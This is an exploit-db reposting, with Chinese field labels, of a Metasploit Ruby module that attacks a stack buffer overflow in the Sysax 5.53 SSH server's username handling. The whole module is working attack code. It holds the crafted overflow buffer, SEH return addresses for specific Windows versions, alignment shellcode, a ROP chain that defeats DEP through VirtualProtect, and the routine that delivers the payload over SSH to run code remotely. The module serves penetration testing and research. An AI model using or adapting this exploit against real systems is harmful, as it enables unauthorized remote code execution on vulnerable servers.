Sysax 5.53 – SSH ‘Username’ Remote Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2012-03-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18557/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = NormalRanking
    
    	include Msf::Exploit::Remote::Tcp
    
    	def initialize(info={})
    		super(update_info(info,
    			'Name' => "Sysax 5.53 SSH Username Buffer Overflow",
    			'Description'=> %q{
    					This module exploits a vulnerability found in Sysax's SSH service.By
    				supplying a long username, the SSH server will copy that data on the stack
    				without any proper bounds checking, therefore allowing remote code execution
    				under the context of the user.Please note that previous versions
    				(before 5.53) are also affected by this bug.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'Craig Freyman',#Initial discovery, PoC
    					'sinn3r'#Metasploit
    				],
    			'References' =>
    				[
    					['OSVDB', '79689'],
    					['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],
    					['URL', 'http://www.exploit-db.com/exploits/18535/']
    				],
    			'Payload'=>
    				{
    					'Space' => 1024,
    					'BadChars'=> "\x00\x3a",
    					'StackAdjustment' => -3500
    				},
    			'DefaultOptions'=>
    				{
    					'ExitFunction' => "seh"
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					[
    						'Sysax 5.53 on Win XP SP3 / Win2k3 SP0',
    						{
    							'Rop' => false,
    							'Ret' => 0x00402669# POP/POP/RET - sysaxservd.exe
    						}
    					],
    					[
    						'Sysax 5.53 on Win2K3 SP1/SP2',
    						{
    							'Rop' => true,
    							'Ret' => 0x0046d23c# ADD ESP, 0F8C # RETN
    						}
    					]
    				],
    			'Privileged' => false,
    			'DisclosureDate' => "Feb 27 2012",
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				OptInt.new('RPORT', [false, 'The target port', 22])
    			], self.class)
    	end
    
    	def load_netssh
    		begin
    			require 'net/ssh'
    			return true
    		rescue LoadError
    			return false
    		end
    	end
    
    	def get_regular_exploit
    		#
    		# Align the stack to the beginning of the fixed size payload
    		#
    		align= "\x54"#PUSH ESP
    		align << "\x58"#POP EAX
    		align << "\x04\x08"#ADD AL,0x08
    		align << "\x8b\x18"#MOV EBX, [EAX]
    		align << "\x93"#XCHG EAX,EBX
    		align << "\x66\x2d\x10\x04"#SUB AX,0x361
    		align << "\x50"#PUSH EAX
    		align << "\xc3"#RET
    
    		#
    		# Our payload limited to 1024+4 bytes
    		#
    		p = make_nops(4)
    		p << payload.encoded
    
    		#
    		# Craft the buffer like this:
    		# [392 bytes][20 bytes][< 9404 bytes][payload][alignment][nseh][seh]
    		# * The 20-byte region is where our source IP is written. 20 bytes gives it enough room
    		# for the IP length, so the next 9404-byte space will begin at a consistent place.
    		# * After SEH, we have ~1860 bytes, but we don't need that because we're doing a
    		# partial-overwrite to allow a null byte in SEH.
    		#
    		buf= ''
    		buf << rand_text(392, payload_badchars)
    		buf << rand_text(20, payload_badchars)
    		buf << rand_text(9204-buf.length-align.length-p.length, payload_badchars) #8796+392+20
    		buf << p
    		buf << align
    		buf << "\xeb" + [0-align.length-2].pack('c') + make_nops(2) #Short jmp back
    		buf << [target.ret].pack('V*')
    
    		return buf
    	end
    
    	def get_rop_exploit
    
    		junk = rand_text(4).unpack("L")[0].to_i
    		nop= make_nops(4).unpack("L")[0].to_i
    
    		# !mona rop -m msvcrt
    		p =
    			[
    				0x77bb2563, # POP EAX # RETN
    				0x77ba1114, # <- *&VirtualProtect()
    				0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
    				junk,
    				0x77bb0c86, # XCHG EAX,ESI # RETN
    				0x77bc9801, # POP EBP # RETN
    				0x77be2265, # ptr to 'push esp #ret'
    				0x77bb2563, # POP EAX # RETN
    				0x03C0990F,
    				0x77bdd441, # SUB EAX, 03c0940f
    				0x77bb48d3, # POP EBX, RET
    				0x77bf21e0, # .data
    				0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
    				0x77bbfc02, # POP ECX # RETN
    				0x77bef001, # W pointer (lpOldProtect) (-> ecx)
    				0x77bd8c04, # POP EDI # RETN
    				0x77bd8c05, # ROP NOP (-> edi)
    				0x77bb2563, # POP EAX # RETN
    				0x03c0984f,
    				0x77bdd441, # SUB EAX, 03c0940f
    				0x77bb8285, # XCHG EAX,EDX # RETN
    				0x77bb2563, # POP EAX # RETN
    				nop,
    				0x77be6591, # PUSHAD # ADD AL,0EF # RETN
    			].pack("V*")
    
    		p << payload.encoded
    
    		#
    		# Similar buffer structure to get_regular_exploit
    		#
    		buf= ''
    		buf << rand_text(392, payload_badchars)
    		buf << rand_text(20, payload_badchars)
    		buf << rand_text(1012, payload_badchars)
    		buf << p
    		buf << rand_text(9204-buf.length)
    		buf << rand_text(4, payload_badchars)
    		buf << [target.ret].pack('V*')
    
    		return buf
    	end
    
    	def exploit
    		#
    		# Load net/ssh so we can talk the SSH protocol
    		#
    		has_netssh = load_netssh
    		if not has_netssh
    			print_error("You don't have net/ssh installed.Please run gem install net-ssh")
    			return
    		end
    
    		#
    		# Create buffer based on target (DEP or no DEP)
    		# If possible, we still prefer to use the regular version because it's more stable
    		#
    		if target['Rop']
    			buf = get_rop_exploit
    		else
    			buf = get_regular_exploit
    		end
    
    		#
    		# Send the malicious buffer
    		#
    		pass = rand_text_alpha(8)
    		begin
    			print_status("Sending malicious request to #{rhost}:#{rport}...")
    			ssh = Net::SSH.start(
    				datastore['RHOST'],
    				buf,
    				{
    					:password=> pass,
    					:port=> datastore['RPORT'],
    					:timeout => 1
    				})
    
    			::Timeout.timeout(1) {ssh.close} rescue nil
    
    		rescue Errno::ECONNREFUSED
    			print_error("Cannot establish a connection on #{rhost}:#{rport}")
    			return
    		rescue ::Exception => e
    			if e.message =~ /fingerprint [0-9a-z\:]+ does not match/
    				print_error("Please remove #{rhost}:#{rport} from your known_hosts list")
    				return
    			end
    		end
    
    		handler(ssh)
    	end
    end
    
    =begin
    Todo: We seriously need a MSF SSH mixin to handle the SSH protocol ourselves, not
    relying on net/ssh.
    =end